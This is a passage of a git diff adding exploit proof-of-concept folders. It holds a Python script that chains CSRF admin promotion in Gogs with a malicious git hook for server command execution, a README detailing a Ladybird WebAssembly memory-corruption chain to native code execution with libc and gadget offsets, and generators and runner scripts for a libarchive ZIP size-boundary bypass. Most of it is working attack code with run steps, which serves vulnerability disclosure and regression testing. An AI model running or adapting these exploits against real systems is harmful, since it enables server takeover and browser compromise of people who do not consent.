accepts a valid administrator session and processes the state change without a CSRF token. Browser delivery requires the victim request to carry the administrator session cookie. Same-site origins, deployments that permit the cookie on the delivered request, and browser flows where the session cookie is sent satisfy that requirement. + +## Fix Direction + +- Restore server-side CSRF validation for all session-authenticated unsafe web methods. +- Include per-request CSRF tokens in classic HTML forms. +- Validate `Origin`, `Referer`, and Fetch Metadata headers for sensitive state-changing routes. +- Require a fresh confirmation step for site-admin mutations that grant admin rights, Git hook editing rights, password changes, or login-state changes. +- Keep Git hook editing behind an explicit high-risk permission boundary and audit every hook update. + +## Responsible Use + +Use this PoC only for systems you own, systems you are authorized to test, and defensive regression work. diff --git a/gogs-admin-csrf-git-hook-rce-poc/poc.py b/gogs-admin-csrf-git-hook-rce-poc/poc.py new file mode 100644 index 0000000..27f044c --- /dev/null +++ b/gogs-admin-csrf-git-hook-rce-poc/poc.py @@ -0,0 +1,215 @@ +import argparse +import http.cookiejar +import json +import os +import pathlib +import secrets +import shlex +import ssl +import subprocess +import sys +import tempfile +import urllib.error +import urllib.parse +import urllib.request + + +class Client: + def __init__(self, base_url, insecure): + self.base_url = base_url.rstrip("/") + self.cookiejar = http.cookiejar.CookieJar() + handlers = [urllib.request.HTTPCookieProcessor(self.cookiejar)] + if insecure: + handlers.append(urllib.request.HTTPSHandler(context=ssl._create_unverified_context())) + self.opener = urllib.request.build_opener(*handlers) + + def url(self, path): + return self.base_url + "/" + path.lstrip("/") + + def request(self, method, path, body=None, headers=None): + data = None + final_headers = {} + if headers: + final_headers.update(headers) + if isinstance(body, dict): + data = urllib.parse.urlencode(body).encode() + final_headers.setdefault("Content-Type", "application/x-www-form-urlencoded") + elif isinstance(body, bytes): + data = body + elif isinstance(body, str): + data = body.encode() + req = urllib.request.Request(self.url(path), data=data, headers=final_headers, method=method) + try: + with self.opener.open(req, timeout=30) as resp: + return resp.status, resp.read(), resp.headers + except urllib.error.HTTPError as exc: + payload = exc.read() + raise RuntimeError(f"{method} {path} returned HTTP {exc.code}: {payload[:500].decode(errors='replace')}") from exc + + def json_post(self, path, payload): + body = json.dumps(payload, separators=(",", ":")).encode() + status, data, headers = self.request("POST", path, body, {"Content-Type": "application/json"}) + if data: + return status, json.loads(data.decode()), headers + return status, None, headers + + def json_get(self, path): + status, data, headers = self.request("GET", path) + if data: + return status, json.loads(data.decode()), headers + return status, None, headers + + def login(self, username, password): + status, data, headers = self.json_post("/api/web/user/sign-in", { + "username": username, + "password": password, + "loginSource": 0, + }) + return status, data, headers + + +def run(cmd, cwd=None): + proc = subprocess.run(cmd, cwd=cwd, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if proc.returncode != 0: + raise RuntimeError(f"command failed: {' '.join(cmd)}\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}") + return proc + + +def git_url(base_url, username, password, owner, repo): + parsed = urllib.parse.urlparse(base_url.rstrip("/")) + userinfo = urllib.parse.quote(username, safe="") + ":" + urllib.parse.quote(password, safe="") + "@" + path = parsed.path.rstrip("/") + f"/{urllib.parse.quote(owner)}/{urllib.parse.quote(repo)}.git" + return urllib.parse.urlunparse((parsed.scheme, userinfo + parsed.netloc, path, "", "", "")) + + +def read_optional(path): + if not path: + return None + p = pathlib.Path(path) + if not p.exists(): + return None + return p.read_text(errors="replace") + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--target-base", required=True) + parser.add_argument("--admin-user") + parser.add_argument("--admin-password") + parser.add_argument("--admin-cookie") + parser.add_argument("--attacker-user", required=True) + parser.add_argument("--attacker-password", required=True) + parser.add_argument("--attacker-id", required=True, type=int) + parser.add_argument("--attacker-email", required=True) + parser.add_argument("--owner") + parser.add_argument("--repo") + parser.add_argument("--marker-path") + parser.add_argument("--local-marker") + parser.add_argument("--origin", default="https://example.invalid") + parser.add_argument("--work-dir") + parser.add_argument("--output") + parser.add_argument("--git", default="git") + parser.add_argument("--insecure", action="store_true") + parser.add_argument("--keep-work-dir", action="store_true") + args = parser.parse_args() + + if not args.admin_cookie and not (args.admin_user and args.admin_password): + raise SystemExit("provide --admin-cookie or --admin-user with --admin-password") + + owner = args.owner or args.attacker_user + repo = args.repo or "gogs-hook-proof-" + secrets.token_hex(4) + marker_path = args.marker_path or "/tmp/gogs_hook_proof_" + secrets.token_hex(4) + ".txt" + + admin = Client(args.target_base, args.insecure) + if args.admin_user and args.admin_password: + admin.login(args.admin_user, args.admin_password) + + admin_headers = { + "Origin": args.origin, + "Referer": args.origin.rstrip("/") + "/submit.html", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "navigate", + } + if args.admin_cookie: + admin_headers["Cookie"] = args.admin_cookie + + admin.request("POST", f"/admin/users/{args.attacker_id}", { + "login_type": "0-0", + "email": args.attacker_email, + "max_repo_creation": "-1", + "active": "on", + "admin": "on", + "allow_git_hook": "on", + }, admin_headers) + + attacker = Client(args.target_base, args.insecure) + attacker.login(args.attacker_user, args.attacker_password) + _, attacker_info, _ = attacker.json_get("/api/web/user/info") + if not attacker_info or not attacker_info.get("isAdmin"): + raise RuntimeError("attacker account did not become site admin") + + attacker.request("POST", "/repo/create", { + "user_id": str(args.attacker_id), + "repo_name": repo, + "description": "git hook proof", + "auto_init": "on", + "readme": "Default", + "gitignores": "", + "license": "", + }) + + hook_content = "\n".join([ + "#!/bin/sh", + "id > " + shlex.quote(marker_path), + "pwd >> " + shlex.quote(marker_path), + "", + ]) + attacker.request("POST", f"/{owner}/{repo}/settings/hooks/git/post-receive", { + "content": hook_content, + }) + + repo_url = git_url(args.target_base, args.attacker_user, args.attacker_password, owner, repo) + cleanup = args.work_dir is None + work_root = args.work_dir or tempfile.mkdtemp(prefix="gogs-hook-proof-") + pathlib.Path(work_root).mkdir(parents=True, exist_ok=True) + clone_dir = os.path.join(work_root, "repo") + + run([args.git, "clone", repo_url, clone_dir]) + run([args.git, "config", "user.name", "Gogs Hook Proof"], clone_dir) + run([args.git, "config", "user.email", "proof@example.test"], clone_dir) + pathlib.Path(clone_dir, "proof.txt").write_text("trigger\n") + run([args.git, "add", "proof.txt"], clone_dir) + run([args.git, "commit", "-m", "Trigger post receive hook"], clone_dir) + push = run([args.git, "push", "origin", "master"], clone_dir) + + local_marker = read_optional(args.local_marker) + if args.local_marker and local_marker is None: + raise RuntimeError("local marker was not created") + result = { + "targetBase": args.target_base.rstrip("/"), + "attackerUser": args.attacker_user, + "attackerId": args.attacker_id, + "attackerInfo": attacker_info, + "repository": f"{owner}/{repo}", + "markerPath": marker_path, + "localMarker": local_marker, + "pushStdout": push.stdout, + "pushStderr": push.stderr, + } + + encoded = json.dumps(result, indent=2) + print(encoded) + if args.output: + pathlib.Path(args.output).write_text(encoded + "\n") + + if cleanup and not args.keep_work_dir: + import shutil + shutil.rmtree(work_root, ignore_errors=True) + + +if __name__ == "__main__": + try: + main() + except Exception as exc: + print(str(exc), file=sys.stderr) + sys.exit(1) diff --git a/ladybird-wasm-esm-host-function-rce-poc/README.md b/ladybird-wasm-esm-host-function-rce-poc/README.md new file mode 100644 index 0000000..dd1ca0d --- /dev/null +++ b/ladybird-wasm-esm-host-function-rce-poc/README.md @@ -0,0 +1,157 @@ +# Ladybird WebAssembly ESM Host Function RCE PoC + +This folder contains a standalone browser page that drives a WebAssembly lifetime bug into native code execution in Ladybird's WebContent process. + +The PoC combines two browser-reachable primitives: + +- a WebAssembly ESM host-function type lifetime bug that lets a stale Wasm register be consumed as an abstract Wasm GC array reference; +- an `ImageData` and WebGL readback leak from a moved memory64 backing store that recovers heap and library pointers needed to stabilize the native write path. + +The marker command is: + +```sh +touch /tmp/ladybird_wasm_esm_rce +``` + +## Files + +| File | Purpose | +| --- | --- | +| `poc.html` | Standalone HTML exploit page. | +| `README.md` | Reproduction notes, source trace, and exploit design. | + +## Tested Target + +The PoC was developed against upstream Ladybird commit: + +```text +31bb4d872d802c78ce23d2f273a300f36e8ef6a0 +``` + +The replay target is the normal `ladybird` browser binary in headless mode. The page has no dependency on `test-web`, layout-test includes, `internals`, or source patches. + +The native offsets in `poc.html` match the tested Linux build: + +| Component | Offset | +| --- | ---: | +| `Wasm::ArrayInstance` vtable in `liblagom-wasm.so.0.1.0` | `0x59ba60` | +| `__cxa_finalize@GLOB_DAT` in `liblagom-wasm.so.0.1.0` | `0x59d300` | +| `__cxa_finalize` in libc | `0x472c0` | +| `setcontext` in libc | `0x4a960` | +| `system` in libc | `0x58750` | +| `exit` in libc | `0x47ba0` | +| `pop rdi; ret` in libc | `0x10f78b` | + +## Run + +Build Ladybird from the tested commit, then run the page with the browser binary: + +```sh +rm -f /tmp/ladybird_wasm_esm_rce +Build/gui-sanitizers/bin/ladybird --headless=screenshot --screenshot-delay=20 --screenshot-path=/tmp/ladybird-wasm-esm.png file:///absolute/path/to/poc.html +ls -l /tmp/ladybird_wasm_esm_rce +``` + +Successful replay creates `/tmp/ladybird_wasm_esm_rce`. The browser process may terminate after the marker is created because the final trigger redirects a native virtual call through a crafted context. + +## Root Cause + +`Libraries/LibWeb/WebAssembly/WebAssembly.cpp` creates JS host callbacks with a `Wasm::FunctionType const& type` parameter: + +```text +WebAssembly.cpp:239 +Wasm::HostFunction create_host_function(JS::VM& vm, JS::FunctionObject& function, Wasm::FunctionType const& type, ByteString const& name) + +WebAssembly.cpp:242 +[&](auto&, auto arguments) -> Wasm::Result { +``` + +The returned host callback captures by reference and uses `type.parameters()` and `type.results()` later, after the caller has returned. + +The ESM import path in `Libraries/LibWeb/WebAssembly/WebAssemblyModule.cpp` constructs the function type as a stack local before passing it into `create_host_function`: + +```text +WebAssemblyModule.cpp:336 +auto functype = entry.description().visit(...) + +WebAssemblyModule.cpp:358 +auto host_function = Detail::create_host_function(vm, function, functype, ...) +``` + +That gives the long-lived host function a dangling reference to a stack `FunctionType`. + +`Libraries/LibWasm/AbstractMachine/BytecodeInterpreter.cpp` then accepts the dynamic result vector returned by the host function without enforcing that it matches the static function type at the call site: + +```text +BytecodeInterpreter.cpp:6760 +if (!result.values().is_empty()) { + configuration.push_to_destination(...) +} +``` + +When stale `type.results()` data makes the host function return an empty `Vector` for a statically non-empty result, the destination register keeps its previous value. + +Wasm GC array operations consume abstract references by trusting the low pointer bits after only a null-reference check: + +```text +BytecodeInterpreter.cpp:6112 +GC_TRAP_IF(is_null_gc_reference(reference), "null array reference"); + +BytecodeInterpreter.cpp:6113 +auto& instance = *static_cast(bit_cast(reference.value().low())); + +BytecodeInterpreter.cpp:6116 +instance.elements()[index] = pack_into_field(field_type.type(), value); +``` + +The PoC seeds the stale destination register with a controlled abstract reference shape, then routes `array.set` into attacker-chosen native memory. + +## Leak Primitive + +The address-discovery stage uses an existing browser-reachable memory64 and canvas lifetime issue. + +`Libraries/LibWeb/HTML/ImageData.cpp` wraps the backing storage of a `Uint8ClampedArray` directly: + +```text +ImageData.cpp:24 +Gfx::Bitmap::create_wrapper(..., data.data().data()) +``` + +`Libraries/LibGfx/Bitmap.cpp` stores that pointer in a non-owning bitmap wrapper: + +```text +Bitmap.cpp:116 +Bitmap::create_wrapper(..., void* data, ...) +``` + +For memory64, `LibWasm` uses the fallback `ByteBuffer` path rather than the fixed wasm32 reservation. Growing the memory can move the backing store while the `ImageData` bitmap still points at the old address. The PoC fills that old region with predictable JS objects and Wasm GC objects, then uses `WebGL2RenderingContext.texImage2D` and `readPixels` to recover pointer-shaped values. + +Those leaks recover: + +- `ArrayBuffer` object addresses; +- backing-store addresses; +- a `Wasm::ArrayInstance` address; +- the `liblagom-wasm` base from the `ArrayInstance` vtable; +- the libc base through `__cxa_finalize@GLOB_DAT`. + +## Exploit Path + +The final chain is: + +1. Import a JavaScript function into a WebAssembly ESM module with static result type `arrayref`. +2. Trigger the dangling `FunctionType` reference in the host callback. +3. Make the host callback dynamically return zero Wasm values. +4. Preserve a stale register that contains an attacker-shaped abstract GC reference. +5. Use Wasm GC `array.set` to write through a fake `ArrayInstance`. +6. Retarget a `DataView` backing store to obtain native read and write. +7. Resolve `liblagom-wasm` and libc bases from leaked pointers. +8. Craft a fake virtual dispatch target and `setcontext` frame. +9. Trigger a WebGL virtual call and execute the marker command. + +## Fix Direction + +The host function callback should own the canonical `FunctionType` it uses after creation, or capture a stable copy instead of a reference to caller-owned storage. + +The Wasm interpreter should also validate host result arity against the callee's static result type before returning to bytecode execution. A call that expects one result should trap or throw if the host function returns zero values, and it should clear or overwrite the destination register on every path. + +For the leak stage, `ImageData` should avoid caching raw pointers into user-supplied typed-array backing stores whose address can change. Re-deriving the backing pointer and byte length at use time would remove the stale bitmap pointer. diff --git a/ladybird-wasm-esm-host-function-rce-poc/poc.html b/ladybird-wasm-esm-host-function-rce-poc/poc.html new file mode 100644 index 0000000..eeb8e6e --- /dev/null +++ b/ladybird-wasm-esm-host-function-rce-poc/poc.html @@ -0,0 +1,653 @@ + + +Ladybird WebAssembly ESM host function RCE PoC + +

+
+
diff --git a/libarchive-zip-debuginfod-size-boundary/.gitattributes b/libarchive-zip-debuginfod-size-boundary/.gitattributes
new file mode 100644
index 0000000..3f7aa09
--- /dev/null
+++ b/libarchive-zip-debuginfod-size-boundary/.gitattributes
@@ -0,0 +1,4 @@
+*.py text eol=lf
+*.sh text eol=lf
+*.md text eol=lf
+.gitignore text eol=lf
diff --git a/libarchive-zip-debuginfod-size-boundary/.gitignore b/libarchive-zip-debuginfod-size-boundary/.gitignore
new file mode 100644
index 0000000..b2a8264
--- /dev/null
+++ b/libarchive-zip-debuginfod-size-boundary/.gitignore
@@ -0,0 +1,10 @@
+run/
+__pycache__/
+*.zip
+*.db
+*.sqlite
+*.log
+*.out
+*.bin
+*.elf
+*.headers
diff --git a/libarchive-zip-debuginfod-size-boundary/README.md b/libarchive-zip-debuginfod-size-boundary/README.md
new file mode 100644
index 0000000..8b49270
--- /dev/null
+++ b/libarchive-zip-debuginfod-size-boundary/README.md
@@ -0,0 +1,277 @@
+# libarchive ZIP declared-size boundary bypass through debuginfod
+
+This proof of concept demonstrates a stock libarchive ZIP reader returning a successful decompression stream that is larger than the size advertised through the archive entry metadata, then shows a real debuginfod service indexing and serving data that lives beyond that advertised boundary.
+
+The generated archive has one stored ZIP64 member:
+
+```text
+entry name: poc-hidden-debug-file
+advertised entry size: 109
+actual inflated size: 4,294,967,405
+actual inflated size modulo 2^32: 109
+payload prefix: ELF executable with a GNU build-id note and PoC marker section beyond byte 109
+```
+
+The PoC uses only stock command-line integrations:
+
+```text
+bsdtar -tvf
+bsdunzip -l
+bsdunzip -t
+bsdunzip -p
+debuginfod
+curl
+```
+
+The stock CLI marker demonstration invokes `bsdunzip -p`, streams the clean-success output, confirms that the hidden marker begins at byte `109`, and writes `VULNERABILITY_CONFIRMED.marker`.
+
+The debuginfod demonstration keeps client-side output bounded. It proves that the archive lists as 109 bytes, passes stock libarchive ZIP testing, causes debuginfod to return sections whose file offsets are past byte 109, and leaves a marker file only after the hidden marker section is served by debuginfod.
+
+## Impact
+
+Applications commonly use `archive_entry_size()` as the trusted file-size boundary for validation, quotas, authorization, indexing, storage accounting, and IPC framing. This PoC supplies an archive where that metadata boundary is `109`, while the stock ZIP reader returns `4,294,967,405` bytes and completes successfully.
+
+For debuginfod, the service scans an attacker-supplied archive path, extracts the entry through libarchive, classifies the extracted file as ELF content, indexes its build-id, and later serves debug sections derived from bytes beyond the advertised entry size.
+
+The demonstrated boundary crossing is:
+
+```text
+ZIP metadata says 109 bytes
+libarchive returns 4,294,967,405 bytes
+debuginfod indexes an ELF build-id located beyond byte 109
+debuginfod serves the hidden .note.gnu.build-id section by build-id URL
+debuginfod serves the hidden .poc_marker section by build-id URL
+the runner writes VULNERABILITY_CONFIRMED.marker from the served marker section
+```
+
+## Requirements
+
+Run on Linux with:
+
+```text
+python3
+gcc
+binutils readelf
+libarchive bsdtar
+libarchive bsdunzip
+elfutils debuginfod
+curl
+```
+
+On Debian or Ubuntu systems, the package names are typically:
+
+```bash
+sudo apt-get install -y python3 gcc binutils libarchive-tools elfutils debuginfod curl
+```
+
+To test a locally built libarchive instead of the system library, pass the directory containing `libarchive.so`:
+
+```bash
+bash run_demo.sh --libarchive-dir /path/to/libarchive/build/libarchive
+```
+
+## Quick Run
+
+The stock CLI marker run needs only Python and `bsdunzip`:
+
+```bash
+python3 run_stock_marker.py --work-dir /tmp/libarchive-stock-marker
+```
+
+Expected marker evidence:
+
+```text
+declared_size=109
+actual_streamed_size=4294967405
+bsdunzip_exit=0
+marker_offset=109
+marker_file=/tmp/libarchive-stock-marker/VULNERABILITY_CONFIRMED.marker
+```
+
+The marker file contains:
+
+```text
+confirmed=true
+source=stock_bsdunzip_stdout
+declared_size=109
+actual_streamed_size=4294967405
+marker_offset=109
+marker=LIBARCHIVE_STOCK_CLI_BOUNDARY_MARKER_v1
+```
+
+## Debuginfod Run
+
+From this directory:
+
+```bash
+bash run_demo.sh --work-dir /tmp/libarchive-zip-debuginfod-poc --port 18002
+```
+
+Expected evidence lines:
+
+```text
+build_id=
+declared_size=109
+actual_inflated_size=4294967405
+note_offset=
+note_offset_past_declared=true
+bsdunzip_test=testing: poc-hidden-debug-file     OK
+section_size=36
+build_id_present=true
+marker_size=40
+marker_present=true
+section_http=HTTP/1.1 200 OK
+section_Content-Length: 36
+marker_section_http=HTTP/1.1 200 OK
+marker_file=/tmp/libarchive-zip-debuginfod-poc/VULNERABILITY_CONFIRMED.marker
+first_executable_Content-Length: 109
+```
+
+The first executable fetch is intentionally bounded by the advertised size. The section fetches are the compact proof: debuginfod returns sections from the hidden ELF after indexing and reading bytes past the advertised 109-byte boundary.
+
+## Full Cache-Response Mode
+
+The service cache can also be exercised with a full second executable response:
+
+```bash
+bash run_demo.sh --work-dir /tmp/libarchive-zip-debuginfod-poc --port 18002 --full-cache-response
+```
+
+This mode transfers `4,294,967,405` bytes over loopback to `/dev/null` and records the response headers in:
+
+```text
+/tmp/libarchive-zip-debuginfod-poc/logs/executable_second.headers
+```
+
+Expected full-response evidence:
+
+```text
+second_executable_http=HTTP/1.1 200 OK
+second_executable_Content-Length: 4294967405
+second_executable_X-DEBUGINFOD-SIZE: 4294967405
+```
+
+Use scratch storage for this mode because debuginfod keeps a file-descriptor cache for the extracted artifact while the process is running.
+
+## Compact Deflate Mode
+
+Systems with libarchive deflate support can generate a compact compressed archive:
+
+```bash
+bash run_demo.sh --work-dir /tmp/libarchive-zip-debuginfod-poc --port 18002 --compact-deflate
+```
+
+This keeps the same metadata boundary and marker-section evidence while reducing the archive body stored on disk.
+
+## Generated Files
+
+The runner writes all generated files under the selected work directory:
+
+```text
+src/poc.c
+poc.elf
+prefix.bin
+archive-root/debuginfod_declared_109_actual_4g_plus_109.zip
+stock_cli_declared_109_actual_4g_plus_109.zip
+debuginfod.sqlite
+logs/generator.log
+logs/bsdtar_list.txt
+logs/bsdunzip_list.txt
+logs/bsdunzip_test.txt
+logs/debuginfod.log
+logs/section.headers
+logs/section_check.txt
+logs/marker_section.headers
+logs/marker_check.txt
+logs/executable_first.headers
+section.bin
+marker_section.bin
+executable_first.bin
+VULNERABILITY_CONFIRMED.marker
+```
+
+The repository folder contains only the source files needed to reproduce the PoC.
+
+## Payload Construction
+
+`make_debuginfod_zip.py` creates a stored sparse ZIP64 entry whose uncompressed-size fields are set to `109`. The actual stream is `4GiB + 109` bytes. The stream starts with a real ELF executable compiled by the runner and pads the rest with zero bytes. The CRC is computed over the full stream.
+
+This layout makes the low 32 bits of the actual inflated length equal the advertised size:
+
+```text
+0x100000000 + 109 == 109 modulo 2^32
+```
+
+The generated ZIP therefore has a small advertised size, a sparse stored body, and a successful stock ZIP validation result. The optional compact deflate mode keeps the same values with a compressed body.
+
+## Evidence Meaning
+
+`bsdtar -tvf` and `bsdunzip -l` show the metadata boundary:
+
+```text
+109 poc-hidden-debug-file
+```
+
+`bsdunzip -t` shows stock libarchive accepts the generated archive:
+
+```text
+testing: poc-hidden-debug-file     OK
+```
+
+`readelf -S -W poc.elf` gives the file offset of `.note.gnu.build-id`. The runner prints `note_offset_past_declared=true` when that offset is greater than `109`.
+
+The debuginfod section URLs prove that the service indexed and served bytes past the advertised boundary:
+
+```text
+http://127.0.0.1:/buildid//section/.note.gnu.build-id
+http://127.0.0.1:/buildid//section/.poc_marker
+```
+
+`section_check.txt` verifies that the returned section contains the exact build-id from the compiled ELF:
+
+```text
+section_size=36
+build_id_present=true
+```
+
+`marker_check.txt` verifies that the returned marker section contains the PoC marker:
+
+```text
+marker_size=40
+marker_present=true
+```
+
+After that check passes, the runner writes:
+
+```text
+VULNERABILITY_CONFIRMED.marker
+```
+
+The marker file contains:
+
+```text
+confirmed=true
+source=debuginfod_section_.poc_marker
+build_id=
+marker=LIBARCHIVE_DEBuginfod_BOUNDARY_MARKER_v1
+```
+
+## File Layout
+
+```text
+README.md
+make_debuginfod_zip.py
+run_stock_marker.py
+run_demo.sh
+.gitignore
+```
+
+`make_debuginfod_zip.py` is the archive generator. `run_stock_marker.py` runs the stock CLI marker proof. `run_demo.sh` builds the ELF seed, generates the ZIP, runs stock libarchive tools, starts debuginfod, queries the build-id section, and prints the evidence summary.
+
+## Cleanup
+
+Stop the server with `Ctrl-C` if `--keep-server` was used. Remove the chosen work directory when finished:
+
+```bash
+rm -rf /tmp/libarchive-zip-debuginfod-poc
+```
diff --git a/libarchive-zip-debuginfod-size-boundary/make_debuginfod_zip.py b/libarchive-zip-debuginfod-size-boundary/make_debuginfod_zip.py
new file mode 100644
index 0000000..5b8a378
--- /dev/null
+++ b/libarchive-zip-debuginfod-size-boundary/make_debuginfod_zip.py
@@ -0,0 +1,296 @@
+import argparse
+import os
+import pathlib
+import struct
+import subprocess
+import zlib
+
+
+def pack_local(name, crc, compressed_size, declared_size):
+    return struct.pack(
+        "= actual_size:
+        raise SystemExit("input ELF is larger than the target inflated body")
+    name = entry_name.encode("utf-8")
+    crc = crc32_zero_padded(elf, actual_size)
+    local = pack_stored_local(name, crc, actual_size, declared_size)
+    central = pack_stored_central(name, crc, actual_size, declared_size)
+    central_offset = len(local) + actual_size
+    zip64_eocd_offset = central_offset + len(central)
+    trailer = pack_zip64_eocd(len(central), central_offset, zip64_eocd_offset)
+    out.parent.mkdir(parents=True, exist_ok=True)
+    if out.exists():
+        out.unlink()
+    with out.open("wb") as f:
+        f.write(local)
+        f.write(elf)
+    make_sparse(out)
+    with out.open("r+b") as f:
+        f.seek(len(local) + actual_size)
+        f.write(central)
+        f.write(trailer)
+    print(f"archive={out}")
+    print(f"entry={entry_name}")
+    print("method=stored-sparse")
+    print(f"declared_size={declared_size}")
+    print(f"actual_inflated_size={actual_size}")
+    print(f"actual_low32={actual_size & 0xFFFFFFFF}")
+    print(f"stored_size={actual_size}")
+    print(f"elf_size={len(elf)}")
+    print(f"crc32=0x{crc:08x}")
+    print(f"logical_size={out.stat().st_size}")
+
+
+def write_deflated_body(elf_path, deflated_path, actual_size, level):
+    elf = pathlib.Path(elf_path).read_bytes()
+    if len(elf) >= actual_size:
+        raise SystemExit("input ELF is larger than the target inflated body")
+    compressor = zlib.compressobj(level, zlib.DEFLATED, -15)
+    crc = zlib.crc32(elf) & 0xFFFFFFFF
+    written = 0
+    chunk = b"\x00" * 1048576
+    remaining = actual_size - len(elf)
+    with pathlib.Path(deflated_path).open("wb") as f:
+        data = compressor.compress(elf)
+        f.write(data)
+        written += len(data)
+        while remaining:
+            n = min(remaining, len(chunk))
+            view = chunk[:n]
+            crc = zlib.crc32(view, crc) & 0xFFFFFFFF
+            data = compressor.compress(view)
+            if data:
+                f.write(data)
+                written += len(data)
+            remaining -= n
+        data = compressor.flush()
+        f.write(data)
+        written += len(data)
+    return crc, written, len(elf)
+
+
+def write_deflated_zip(elf_path, out_path, entry_name, declared_size, actual_size, level):
+    out = pathlib.Path(out_path)
+    temp = out.with_suffix(out.suffix + ".deflated")
+    crc, compressed_size, elf_size = write_deflated_body(
+        elf_path,
+        temp,
+        actual_size,
+        level,
+    )
+    if compressed_size > 0xFFFFFFFF:
+        raise SystemExit("compressed body is too large for this PoC layout")
+    name = entry_name.encode("utf-8")
+    local = pack_local(name, crc, compressed_size, declared_size)
+    central = pack_central(name, crc, compressed_size, declared_size)
+    central_offset = len(local) + compressed_size
+    eocd = pack_eocd(len(central), central_offset)
+    out.parent.mkdir(parents=True, exist_ok=True)
+    with out.open("wb") as f:
+        f.write(local)
+        with temp.open("rb") as body:
+            while True:
+                data = body.read(1048576)
+                if data == b"":
+                    break
+                f.write(data)
+        f.write(central)
+        f.write(eocd)
+    temp.unlink()
+    print(f"archive={out}")
+    print(f"entry={entry_name}")
+    print("method=deflate")
+    print(f"declared_size={declared_size}")
+    print(f"actual_inflated_size={actual_size}")
+    print(f"actual_low32={actual_size & 0xFFFFFFFF}")
+    print(f"compressed_size={compressed_size}")
+    print(f"elf_size={elf_size}")
+    print(f"crc32=0x{crc:08x}")
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--elf", required=True)
+    parser.add_argument("--out", required=True)
+    parser.add_argument("--entry", default="poc-hidden-debug-file")
+    parser.add_argument("--method", choices=("stored-sparse", "deflate"), default="stored-sparse")
+    parser.add_argument("--declared-size", type=int, default=109)
+    parser.add_argument("--actual-size", type=int, default=(1 << 32) + 109)
+    parser.add_argument("--level", type=int, default=9)
+    args = parser.parse_args()
+    if args.method == "stored-sparse":
+        write_stored_sparse_zip(
+            args.elf,
+            args.out,
+            args.entry,
+            args.declared_size,
+            args.actual_size,
+        )
+    else:
+        write_deflated_zip(
+            args.elf,
+            args.out,
+            args.entry,
+            args.declared_size,
+            args.actual_size,
+            args.level,
+        )
+
+
+if __name__ == "__main__":
+    main()
diff --git a/libarchive-zip-debuginfod-size-boundary/run_demo.sh b/libarchive-zip-debuginfod-size-boundary/run_demo.sh
new file mode 100644
index 0000000..4afd92c
--- /dev/null
+++ b/libarchive-zip-debuginfod-size-boundary/run_demo.sh
@@ -0,0 +1,177 @@
+set -euo pipefail
+
+ROOT=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
+WORK_DIR="$ROOT/run"
+PORT=18002
+LIBARCHIVE_DIR=""
+FULL_CACHE=0
+KEEP_SERVER=0
+METHOD=stored-sparse
+
+while [ "$#" -gt 0 ]; do
+    case "$1" in
+        --work-dir)
+            WORK_DIR="$2"
+            shift 2
+            ;;
+        --port)
+            PORT="$2"
+            shift 2
+            ;;
+        --libarchive-dir)
+            LIBARCHIVE_DIR="$2"
+            shift 2
+            ;;
+        --full-cache-response)
+            FULL_CACHE=1
+            shift
+            ;;
+        --compact-deflate)
+            METHOD=deflate
+            shift
+            ;;
+        --keep-server)
+            KEEP_SERVER=1
+            shift
+            ;;
+        *)
+            echo "unknown argument: $1" >&2
+            exit 2
+            ;;
+    esac
+done
+
+need() {
+    command -v "$1" >/dev/null 2>&1 || {
+        echo "missing command: $1" >&2
+        exit 1
+    }
+}
+
+need python3
+need gcc
+need readelf
+need bsdtar
+need bsdunzip
+need debuginfod
+need curl
+
+if [ -n "$LIBARCHIVE_DIR" ]; then
+    export LD_LIBRARY_PATH="$LIBARCHIVE_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}"
+fi
+
+rm -rf "$WORK_DIR"
+mkdir -p "$WORK_DIR/src" "$WORK_DIR/archive-root" "$WORK_DIR/logs" "$WORK_DIR/client-cache"
+
+cat > "$WORK_DIR/src/poc.c" <<'EOF'
+#include 
+__attribute__((section(".poc_marker"), used))
+const char poc_marker[] = "LIBARCHIVE_DEBuginfod_BOUNDARY_MARKER_v1";
+const char marker[] = "libarchive-debuginfod-size-boundary";
+int main(void) {
+    puts(marker);
+    return 0;
+}
+EOF
+
+gcc -g -Wl,--build-id=sha1 -o "$WORK_DIR/poc.elf" "$WORK_DIR/src/poc.c"
+BUILD_ID=$(readelf -n "$WORK_DIR/poc.elf" | awk '/Build ID:/ {print $3; exit}')
+if [ -z "$BUILD_ID" ]; then
+    echo "failed to read build-id" >&2
+    exit 1
+fi
+
+NOTE_OFFSET_HEX=$(readelf -S -W "$WORK_DIR/poc.elf" | awk '{for (i = 1; i <= NF; i++) if ($i == ".note.gnu.build-id") {print $(i + 3); exit}}')
+NOTE_OFFSET=$((16#$NOTE_OFFSET_HEX))
+
+python3 "$ROOT/make_debuginfod_zip.py" --method "$METHOD" --elf "$WORK_DIR/poc.elf" --out "$WORK_DIR/archive-root/debuginfod_declared_109_actual_4g_plus_109.zip" > "$WORK_DIR/logs/generator.log"
+
+ZIP="$WORK_DIR/archive-root/debuginfod_declared_109_actual_4g_plus_109.zip"
+bsdtar -tvf "$ZIP" > "$WORK_DIR/logs/bsdtar_list.txt"
+bsdunzip -l "$ZIP" > "$WORK_DIR/logs/bsdunzip_list.txt"
+bsdunzip -t "$ZIP" > "$WORK_DIR/logs/bsdunzip_test.txt"
+
+export DEBUGINFOD_CACHE_PATH="$WORK_DIR/client-cache"
+LOG="$WORK_DIR/logs/debuginfod.log"
+DB="$WORK_DIR/debuginfod.sqlite"
+debuginfod -v -v -v -Z .zip=cat -d "$DB" -p "$PORT" -t 0 -g 0 -c 1 --fdcache-mbs=8192 --fdcache-fds=64 "$WORK_DIR/archive-root" > "$LOG" 2>&1 &
+SERVER_PID=$!
+
+cleanup() {
+    if [ "$KEEP_SERVER" -eq 0 ] && kill -0 "$SERVER_PID" >/dev/null 2>&1; then
+        kill "$SERVER_PID" >/dev/null 2>&1 || true
+        wait "$SERVER_PID" >/dev/null 2>&1 || true
+    fi
+}
+trap cleanup EXIT
+
+for _ in $(seq 1 120); do
+    if curl -fsS -D "$WORK_DIR/logs/section.headers" -o "$WORK_DIR/section.bin" "http://127.0.0.1:$PORT/buildid/$BUILD_ID/section/.note.gnu.build-id" >/dev/null 2>&1; then
+        break
+    fi
+    sleep 1
